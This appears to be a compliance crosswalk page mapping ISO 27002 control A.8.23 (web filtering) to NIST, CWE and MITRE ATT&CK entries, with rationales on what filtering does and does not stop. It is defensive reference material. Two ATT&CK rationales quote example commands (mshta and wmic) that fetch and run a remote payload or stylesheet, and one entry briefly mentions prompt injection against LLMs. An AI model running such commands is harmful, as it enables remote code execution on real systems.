A.8.23 Technological
Web filtering
Structured attributes from ISO/IEC 27002:2022 — control type · CIA properties · cybersecurity concept · operational capability · security domain. What do these mean?
Mapped NIST 800-53 r5 controls (13)
Our reading (mostly llm_verified) of how this ISO control and each NIST 800-53 control relate. Not an ISO or NIST product.
Direction: ← other covers this;
→ this covers other (F/M/P = full / mostly /
partial). gov = governs / implements (a mandate, not coverage).
Why these map — rationale
- CM-7partialcovers — A.8.23 web filtering directly implements the prohibition/restriction of certain web resources, protocols and services (a slice of CM-7's least-functionality requirement), but does not address configuration of overall system functionality, non-web ports/software, or the broader baseline.
- SC-7partialcovers — A.8.23 web filtering is one specific mechanism for monitoring/controlling external web traffic at a boundary, but SC-7 is a much broader control that also includes physical/logical separation, all non-web protocols, subnetwork segmentation, and general managed interfaces — leaving the bulk of SC-7 uncovered.
Aligned NIST CSF 2.0 outcomes (17)
NIST CSF 2.0 outcomes this ISO control aligns with — our analysis (mostly llm_verified).
Direction: ← other covers this;
→ this covers other (F/M/P = full / mostly /
partial). gov = governs / implements (a mandate, not coverage).
Why these map — rationale
- PR.PS-05domain mandateimplements — A.8.23 web filtering gives operational effect to preventing unauthorized software execution by blocking malware delivery vectors and unauthorized download sites, which sits inside the PR.PS domain but is not the only or explicitly named means (e.g. allowlisting, execution controls also serve it)
Related OWASP ASVS 5.0 requirements (5)
Application-security verification requirements (OWASP ASVS 5.0) this ISO control aligns with; links open the ASVS chapter. Our analysis (mostly llm_verified) — many ISO controls have no ASVS counterpart.
Direction: ← other covers this;
→ this covers other (F/M/P = full / mostly /
partial). gov = governs / implements (a mandate, not coverage).
Related weaknesses / CWE (1671)
Weakness classes this ISO control helps prevent or mitigate — our analysis (mostly llm_verified).
Direction: ← other covers this;
→ this covers other (F/M/P = full / mostly /
partial). gov = governs / implements (a mandate, not coverage).
Why these map — rationale
- CWE-507partialblocks — Web filtering blocks known malicious sites, C2 servers, and threat-intel-flagged domains, which directly cuts off the download and command channels a Trojan uses; but the hidden code still executes locally, and Trojans using allowed domains, non-web protocols, or channels outside the filter's reach remain exploitable.
- CWE-508partialblocks — Web filtering blocks access to known malicious websites and command-and-control servers, stopping the delivery of non-replicating malware via those vectors, but it does not block malware introduced through other means such as removable media, email attachments, or supply chain compromise.
- CWE-509partialblocks — Web filtering blocks access to known malicious domains and command-and-control servers, stopping the malware from phoning home or spreading further, but it does not block the initial infection vector (e.g., a phishing attachment) that introduces the replicating code onto the system.
- CWE-623partialblocks — Web filtering can stop exploitation when the triggering page is a known or categorized malicious site, but the unsafe ActiveX remains exploitable through unlisted, newly created, or compromised legitimate sites.
Mitigated MITRE ATT&CK techniques (3496)
Adversary techniques (MITRE ATT&CK Enterprise) this ISO control helps mitigate; links open attack.mitre.org. Our analysis (mostly llm_verified).
Direction: ← other covers this;
→ this covers other (F/M/P = full / mostly /
partial). gov = governs / implements (a mandate, not coverage).
Why these map — rationale
- T1189mostlyprevents — Preventing access to malicious websites reduces the chance that drive-by downloads or browser exploits will succeed.
- T1204.001mostlyprevents — Filtering malicious links before users can click them lowers the probability that a user will execute malware delivered through a malicious URL.
- T1566.002mostlyprevents — Blocking known phishing domains and malicious sites directly prevents users from reaching attacker-controlled links that deliver initial payloads.
- T1001.002partialprevents — Web filtering blocks known or suspected C2 servers and malicious sites (per A.8.23c, d), which prevents some steganographic C2 instances by cutting off the infrastructure, but it does not inspect file contents for hidden data, so steganography over allowed web traffic (legitimate services, compromised legitimate sites, or unblocked C2) still executes.
- T1001.003partialprevents — Web filtering blocks known malicious domains and C2 servers, which prevents some instances of T1001.003 where the adversary's infrastructure is on a blocklist, but the technique is specifically designed to evade such filtering by impersonating legitimate services (Gmail, Google Drive) and protocols, so the bulk of the technique—C2 that blends with legitimate traffic to legitimate destinations—passes through unaffected.
- T1008partialprevents — Web filtering blocks known/suspected C2 destinations (per guidance item c) and can prevent web-based fallback channels to blocklisted domains or IPs, but T1008 is explicitly designed to evade single-channel blocking via non-web protocols (DNS, ICMP, custom), newly registered infrastructure, or legitimate services as covers, so the technique's resilience design leaves most fallback channels outside the filter's reach.
- T1020partialprevents — Web filtering blocks access to known/suspected malicious sites, certain C2 servers, and categories of web resources (e.g., file-sharing, paste sites) that automated exfiltration might use as a channel, but it does not address exfiltration over non-web channels (email, DNS tunneling, FTP, physical media) nor over web services the organization permits, so it prevents only a slice of the technique's instances.
- T1027.006partialprevents — Web filtering blocks access to known/suspected malicious sites and C2 servers that may host HTML smuggling payloads, but the technique is explicitly designed to bypass content filters by embedding malicious content inside benign-looking HTML/JS files with MIME types like text/html, and can be delivered through legitimate sites or email channels outside the filter's scope.
- T1027.012partialprevents — Web filtering can block the download URL referenced in the LNK icon field if that domain is on a blocklist, but the technique is explicitly designed to smuggle commands past content filters and often uses novel, compromised-legitimate, or UNC-path references that bypass URL reputation checks.
- T1027.017partialprevents — Web filtering blocks known/suspected malicious sites and C2 servers that could host SVG payloads, but SVG smuggling is specifically designed to evade content filters, SVGs are treated as image files, and delivery vectors like email attachments, compromised legitimate sites, and embedded SVGs in HTML/PDFs fall outside the control's scope.
- T1041partialprevents — A.8.23 blocks access to known or suspected C2 servers (item c) and malicious sites from threat intelligence (item d), which prevents the subset of T1041 where the C2 channel is web-based and the destination is a known malicious server; the remainder is non-web C2 channels (DNS, ICMP, custom protocols), newly registered or uncategorized domains, and legitimate services abused for C2, none of which web filtering reaches.
- T1048partialprevents — Web filtering blocks access to known malicious sites, C2 servers, and disallowed categories, which prevents the HTTP/HTTPS slice of T1048 to known-bad destinations, but T1048 explicitly spans non-web protocols (FTP, SMTP, DNS, SMB) and commonly uses legitimate cloud/SaaS services that web filtering does not block, leaving the bulk of the technique reachable.
- T1048.001partialprevents — Web filtering blocks access to known malicious sites, C2 servers, and websites with upload functions, which can prevent exfiltration to destinations on those blocklists; however, the technique can use non-web protocols (FTP, custom), allowed websites (cloud storage, webmail), or newly registered domains not yet categorized, and symmetric encryption defeats any content inspection the filter might attempt.
- T1048.002partialprevents — Web filtering blocks known/suspected malicious domains, IPs, and C2 servers (per A.8.23 b/c/d), which prevents exfiltration to those specific destinations; however, T1048.002 uses asymmetric encryption (e.g., HTTPS/TLS) that defeats content inspection, and adversaries can route exfiltration through any non-blocked, legitimate-looking destination, so the technique as a whole is not stopped.
- T1048.003partialprevents — Web filtering can block outbound connections to known or suspected malicious destinations (per the control's guidance on blocking malicious websites and C2 servers), which addresses some T1048.003 exfiltration paths, but the technique is specifically designed to use alternative unencrypted protocols (HTTP, FTP, DNS) to any alternate network location, and the adversary can use legitimate-looking or freshly registered destinations that fall outside block lists — so the technique is constrained, not closed.
- T1056partialprevents — Web filtering blocks access to known malicious sites that could host fake credential-capture portals (T1056.003), but it does nothing against local input-capture mechanisms such as API hooking (T1056.004), keylogging (T1056.001), or GUI input capture (T1056.002), so only a slice of the technique class is prevented.
- T1059.007partialprevents — Web filtering blocks access to malicious websites hosting JavaScript payloads, preventing browser-based execution from those sources, but JavaScript runs through many paths the control cannot reach — Node.js, JScript via Windows Script engine, JXA via osascript, locally executed script files, and secondary payloads already delivered — so what is prevented is a slice of the technique's delivery surface, not the technique itself.
- T1071partialprevents — Web filtering directly blocks access to known/suspected C2 servers and malicious websites (items b, c, d), preventing the HTTP/HTTPS portion of T1071 against destinations on those lists, but the technique spans DNS, SMTP, SMB, SSH, RDP and other protocols that web filtering does not address, and adversaries can use newly registered or compromised-but-not-yet-flagged domains.
- T1071.001partialprevents — By denying access to attacker-registered or compromised domains, the control reduces the viability of web protocols as covert C2 channels.
- T1090partialprevents — Web filtering blocks access to known or suspected malicious destinations (C2 servers, malicious domains from threat intel), which prevents some instances of T1090 where the proxy endpoint is on a blocklist, but it cannot prevent the technique broadly: adversaries use legitimate proxy services, CDNs, compromised internal hosts, and chained proxies that web filtering does not and cannot comprehensively block.
- T1090.002partialprevents — A.8.23 explicitly lists blocking C2 servers and known malicious sites, which addresses part of T1090.002, but the technique is specifically designed to evade this filtering: external proxies are chosen for their low likelihood of being investigated, the actual C2 destination is hidden behind the proxy, and web filtering primarily covers web traffic rather than arbitrary network connections to port redirectors.
- T1090.003partialprevents — Web filtering can block known Tor exit nodes, known proxy services, and known malicious C2 infrastructure that adversaries use as hops, but T1090.003 is specifically designed to evade such blocking: the last hop is typically a legitimate-looking IP, ORB networks use constantly changing VPS/IoT infrastructure, compromised internal devices can serve as proxy nodes, and non-web protocols (e.g., ICMP) can carry the traffic — none of which domain/IP filtering reaches.
- T1102.001partialprevents — Web filtering can block known or suspected malicious sites and C2 servers identified via threat intelligence (items c, d), but T1102.001 specifically leverages legitimate, popular services (Google, Twitter, etc.) that organizations cannot broadly block without breaking business operations, so the technique's core mechanism — hiding in expected noise on allowed domains — survives the control.
- T1102.002partialprevents — A.8.23 can block specific malicious URLs, accounts or known C2 infrastructure hosted on legitimate web services via URL/content inspection and threat-intel feeds, but T1102.002 is designed to evade web filtering by abusing legitimate, popular services (Google, Twitter, GitHub, etc.) that the organization must allow for business; blocking the underlying services is impractical, and the technique can pivot across thousands of legitimate platforms, so only a slice of the technique's infrastructure is reachable.
- T1102.003partialprevents — T1102.003 is specifically designed to evade web filtering by using legitimate, popular web services (Google, Twitter, social media) as one-way C2 channels — these are not 'known or suspected malicious websites', not 'C2 servers' in the traditional sense, not 'illegal content' sites, and not flagged by threat intelligence as malicious, so A.8.23's blocklists cannot reach them without breaking business functionality, which is precisely the cover the technique exploits.
- T1104partialprevents — Web filtering can block known first-stage or second-stage C2 servers (per guidance item c), but T1104 is specifically designed to evade single-point blocking: stages are hosted on separate infrastructure with no overlap, and fallback channels are built in, so blocking one known stage does not prevent the technique from operating through the others.
- T1105partialprevents — Web filtering blocks downloads from known malicious sites, C2 servers, and threat-intel-identified domains (the web-based ingress vectors), but T1105 explicitly spans non-web channels — FTP, SMB lateral transfer, cloud sync services, and native tools reaching permitted sites — that A.8.23 does not address, so a meaningful slice is prevented but the technique's full surface is not.
- T1127.002partialprevents — Web filtering blocks known malicious websites, which is one delivery vector for ClickOnce (user visits a malicious site and triggers the .appref-ms/.application popup), but the technique has multiple alternative delivery paths — file shares, email attachments, startup-folder placement, and direct rundll32 execution — none of which A.8.23 reaches, so only a slice of instances is prevented.
- T1132.002partialprevents — A.8.23 explicitly lists blocking command-and-control servers and known/suspected malicious sites, so when a C2 destination is on the blocklist the non-standard encoding to it never gets used; however, the encoding technique can still be applied to traffic destined for permitted sites (legitimate web resources, newly registered domains not yet on threat feeds, or compromised-but-allowed hosts), and web filtering inspects destinations rather than data encoding, so the technique itself is not prevented.
- T1137.004partialprevents — Web filtering can block external malicious URLs that Outlook's Home Page feature attempts to load, addressing the malware-delivery aspect, but it does not block internal URLs (which the technique explicitly permits), does not address the persistence mechanism (the malicious Home Page setting in the mailbox), and is scoped in the guidance to personnel-initiated browsing rather than application-level URL loads from Outlook.
- T1176partialprevents — Web filtering blocks access to known or suspected malicious sites that might host malicious extensions, addressing one delivery vector, but cannot prevent extensions installed via legitimate marketplaces, social engineering on trusted sites, or direct installation by users or adversaries with existing access — the technique's primary paths remain open.
- T1176.001partialprevents — Web filtering can block access to known malicious sites that host or distribute malicious extensions and can block C2 communication from installed extensions, but it does not address the primary installation vectors: official browser app stores (legitimate domains), local file installation, social engineering that prompts user installation, or manipulation of browser preference files — so the technique's core paths remain reachable.
- T1176.002partialprevents — Web filtering can block access to known malicious sites hosting malicious IDE extensions, but the primary vectors — legitimate extension marketplaces (VS Code Marketplace, JetBrains Marketplace) and direct side-loading into the IDE — are not blocked by domain/IP filtering, so only a slice of installations is prevented.
- T1187partialprevents — Web filtering can block WebDAV-over-HTTP/HTTPS traffic to adversary-controlled servers and block access to malicious sites hosting the initial payload, but it does not address the core SMB forced-authentication mechanism (port 445), file-based triggers like .SCF/.LNK files on shares, or EfsRpcOpenFileRaw abuse, leaving the bulk of the technique's vectors untouched.
- T1203partialprevents — Web filtering blocks access to known/suspected malicious sites and C2 servers, which prevents the drive-by and spearphishing-link vectors of T1203, but it does not address exploits delivered via email attachments, local files, or zero-days on legitimate sites, and users can overrule browser warnings.
- T1204partialprevents — Web filtering blocks access to known malicious sites, C2 servers, and threat-intel-identified domains, which prevents user execution when the delivery vector is a link to such a site; however, it does not block newly registered or unknown malicious sites, and T1204 has many non-web delivery paths (email attachments, shared directories, USB, vishing, internal spearphishing) that the control does not address, leaving a substantial remainder.
- T1204.002partialprevents — Web filtering blocks downloads from known malicious sites and prevents access to web resources distributing malware, addressing the web-based delivery vector of T1204.002, but the technique also arrives via email attachments, shared directories, USB media, and internal spearphishing — none of which web filtering reaches.
- T1204.004partialprevents — Web filtering blocks access to known/suspected malicious websites hosting ClickFix prompts (a primary delivery vector for T1204.004), but does not address the phishing-email delivery path, cannot catch newly registered or unknown malicious sites, and does nothing about the user execution step itself; the technique is also explicitly designed to bypass some browser-side mitigations.
- T1204.005partialprevents — Web filtering can block access to known malicious URLs, typosquatting domains, or specific malicious repositories surfaced via threat intelligence, but the technique's primary vector is installation from legitimate, business-essential platforms (NPM, PyPi, GitHub) that cannot be blocked without breaking development workflows, and installation typically occurs via CLI tools that bypass web filtering entirely.
- T1216.001partialprevents — Web filtering can block the remote domain hosting the malicious .sct scriptlet referenced by PubPrn's second parameter, but it does not prevent PubPrn.vbs from executing locally or block domains that are uncategorized or not yet known as malicious, leaving the core technique mechanism intact.
- T1218.005partialprevents — Web filtering blocks the URL-based delivery vector of mshta.exe (e.g., `mshta http://webserver/payload.hta`) when the destination domain or IP is known/suspected malicious, but it does not block local .hta execution, inline scripts that fetch from non-blocked sources, or delivery via attachments/USB, and it only covers known malicious destinations.
- T1218.007partialprevents — Web filtering can block access to known or suspected malicious websites serving MSI payloads to msiexec, but it does not restrict msiexec execution of local or already-approved network files, leaving the core technique available.
- T1218.010partialprevents — Web filtering blocks the remote-URL/Squiblydoo variant by denying the scriptlet fetch from known malicious domains or C2 servers, but it does not stop local-file Regsvr32 execution, COM-hijacking persistence, or downloads from URLs not on a blocklist.
- T1219partialprevents — Web filtering can block downloads of remote access tools from malicious sites and connections to known C2 infrastructure, but T1219 specifically abuses LEGITIMATE remote access tools (TeamViewer, AnyDesk, RDP, Chrome Remote Desktop) that are often already installed or accessed through permitted channels — the core technique survives filtering.
- T1219.001partialprevents — A.8.23 blocks known malicious domains and command-and-control servers, which can prevent IDE tunneling to adversary-controlled infrastructure, but the technique can also use legitimate developer portals and proprietary protocols that web filtering does not block.
- T1219.002partialprevents — Web filtering can block download sites for remote desktop tools and known C2 infrastructure used by them, but cannot prevent use of already-installed legitimate RMM software (TeamViewer, AnyDesk, VNC, etc.) whose session traffic is not HTTP web traffic — the technique's core mechanism operates outside the web-filtering layer.
- T1220partialprevents — Web filtering can block the remote-XSL variant (e.g., `wmic os get /FORMAT:"https://example.com/evil.xsl"` or msxsl.exe fetching a URL-hosted stylesheet) by denying the domain/IP, but the technique also runs entirely against locally-staged XSL files with no web access at all, which A.8.23 does not touch.
- T1221partialprevents — Web filtering can block the remote URL fetch that template injection depends on when the hosting domain/IP is on a block list (malicious sites, C2, threat-intel feeds), but it does not stop the document from being delivered or opened, does not cover SMB-based forced authentication, and cannot reach templates hosted on legitimate-but-compromised or uncategorized domains — so it removes a slice of the technique's execution chain rather than preventing it.
- T1496partialprevents — Web filtering blocks web-based delivery vectors for resource hijacking (browser cryptojacking sites, malicious sites hosting miners, C2 for proxyjacking malware), but does not address non-web vectors such as direct malware installation, cloud credential abuse, supply-chain compromise, or resource hijacking by already-resident malware that does not need web access.
- T1528partialprevents — Web filtering blocks the phishing-link delivery vector of OAuth consent phishing (one of T1528's mechanisms), but does not prevent token theft via container compromise, CI/CD pipeline compromise, or Azure IMDS-based managed identity abuse, none of which involve web browsing.
- T1534partialprevents — Web filtering blocks external malicious destinations that internal spearphishing links may redirect to, but the technique's core vectors — internal email attachments, internal chat apps (Teams), and the trusted-internal-account impersonation itself — traverse no web boundary the filter can stop, so only a slice of the technique is prevented.
- T1539partialprevents — Web filtering blocks access to known/suspected malicious sites and C2 infrastructure, which prevents some cookie-theft vectors (malicious JS injection sites, AitM proxies hosted on flagged domains), but it does not stop local malware from reading cookies from disk or browser memory, nor AitM on domains not yet classified as malicious, nor network-level cookie interception.
- T1566partialprevents — Web filtering blocks access to known or suspected malicious websites (including phishing destinations and C2 servers), preventing the web-based delivery vector of phishing from succeeding after a user clicks; it does not stop the phishing message itself from arriving, does not address attachment-based phishing, and depends on the filter's coverage of newly-registered or uncategorized phishing infrastructure.
- T1566.003partialprevents — Web filtering can block access to known malicious destinations, C2 servers, and phishing sites that the spearphishing link points to, but it cannot prevent the message from arriving via third-party services (social media, personal webmail) that the technique specifically uses to bypass enterprise email controls, nor can it stop the social engineering rapport-building that precedes the payload.
- T1566.004partialprevents — Web filtering can block known malicious URLs, phishing sites and C2 domains that a voice-phishing lure directs the user to visit, but it cannot prevent the voice channel or social engineering itself, such as the user divulging credentials or accepting an MFA prompt over the phone.
- T1567partialprevents — A.8.23 blocks websites with upload functions unless permitted for business, and can be configured to block specific services identified via threat intel, so it can prevent some T1567 instances by denying the upload channel. However, the technique specifically uses legitimate, commonly-allowed web services (Dropbox, Google Drive, etc.) that organizations typically permit for business reasons, and the control's stated purpose is inbound protection from malware/unauthorized resources rather than outbound data loss prevention, so the prevention is a slice rather than the bulk.
- T1567.001partialprevents — A.8.23 blocks access to known malicious domains and command-and-control servers, which can prevent exfiltration to adversary-controlled code repositories, but popular legitimate code repositories used for business cannot be blocked without disrupting operations, leaving a significant channel open.
- T1567.002partialprevents — A.8.23 can block cloud storage domains and category (a) covers sites with upload functions, so exfiltration to blocked cloud services is prevented; however, cloud storage services are typically legitimate business tools permitted under the 'valid business reasons' carve-out, and the technique's own note that it works when hosts already communicate with the service points to the whitelisted case web filtering does not reach.
- T1568partialprevents — Web filtering blocks known/suspected malicious domains, IPs and C2 servers from threat intelligence, which prevents some dynamic resolution attempts, but the technique is specifically designed to evade static blocklists via algorithmically generated domains/IPs that the filter cannot anticipate, so what is prevented is a slice rather than the technique broadly.
- T1568.001partialprevents — A.8.23 blocks known/suspected malicious domains and C2 servers via threat intelligence, which catches the stable domain in a Fast Flux setup, but the technique is specifically designed to defeat IP-based filtering through rapid IP rotation, and newly registered or unknown flux domains will not be on block lists.
- T1568.002partialprevents — Web filtering can block known/suspected malicious domains and detect some DGA-like patterns, but DGAs are specifically designed to evade domain-based blocking by generating thousands of candidate domains with only a small subset active at any time, so the technique still functions and finds reachable C2 even with filtering in place.
- T1573partialprevents — Web filtering blocks access to known or suspected command-and-control servers by IP or domain, which can prevent encrypted C2 channels to those destinations, but it does not stop adversaries using unknown, legitimate, or non-web C2 infrastructure.
- T1592partialprevents — Web filtering blocks access to known malicious sites that could collect host information via User-Agent headers or malicious content, and can block reconnaissance-related destinations, but it does not prevent external active scanning of the victim's infrastructure, phishing-for-information campaigns, or host information exposed via public data sets and social media — multiple primary vectors of T1592 remain reachable.
- T1592.002partialprevents — Web filtering blocks access to malicious sites designed to harvest host information from visitors (ScanBox-style), preventing that vector of T1592.002, but the technique's other vectors — active scanning of the victim's own infrastructure, phishing for information, open-source intelligence from job postings/resumes/network maps, and metadata analysis of victim-hosted files — occur outside the web-browsing channel and are not reached by A.8.23.
- T1598partialprevents — Web filtering blocks access to phishing websites (landing pages, fake login portals) which is one delivery vector for T1598, but the technique also succeeds via direct email reply, callback phishing, and instant messaging without any web interaction, so the control addresses a slice of the technique's surface rather than the bulk.
- T1598.003partialprevents — Web filtering blocks access to known/suspected malicious destinations, which prevents the link from resolving to the credential-harvesting site when the domain or IP is on a blocklist; however, the technique can still succeed via newly registered domains not yet on blocklists, URL obfuscation, browser-in-the-browser attacks that spoof legitimate URLs, and QR codes directing to mobile devices outside the filtered gateway, so the prevention is a slice rather than a closure.
- T1684partialprevents — Web filtering blocks known malicious sites and C2 infrastructure, preventing the web-delivery slice of social engineering (malicious links, phishing pages), and the training clause reinforces not overruling browser warnings; however, T1684 spans voice calls, help desk interactions, in-person pretexting, SaaS consent grants, and email-only pretexts that no URL or domain block reaches, so a meaningful slice is prevented but the broader technique is not.
- T1697partialprevents — Web filtering blocks access to known or suspected malicious websites, which prevents the phishing-based vector of ASP theft (where users are socially engineered into entering ASPs on adversary-controlled sites), but does not address ASPs generated for already-compromised accounts or ASPs obtained from stored locations on systems.
- T1698partialprevents — Web filtering blocks access to known or suspected malicious websites, which can include sites hosting indirect prompt injection payloads, but the technique operates through content the LLM retrieves from many vectors (legitimate web pages, documents, emails, tickets, code) that web filtering does not and cannot block, so only a slice of the attack surface is prevented.
Prevented OWASP Web Top 10 (2025) risks (3)
OWASP Web Top 10 (2025) risk categories this ISO control helps prevent or mitigate — our analysis (mostly llm_verified).
Direction: ← other covers this;
→ this covers other (F/M/P = full / mostly /
partial). gov = governs / implements (a mandate, not coverage).
Control IDs, short titles and the structured attribute table (control type, CIA properties, cybersecurity-concept, operational capability, security domain) are facts from ISO/IEC 27001:2022 Annex A / ISO/IEC 27002:2022. The full implementation guidance prose lives in ISO/IEC 27002:2022 — not reproduced here. Cross-walks to NIST 800-53, NIST CSF 2.0, OWASP ASVS, CWE, MITRE ATT&CK and OWASP Web Top 10 are our own analysis (mostly llm_verified), not an ISO, NIST, MITRE or OWASP product — how ours compare.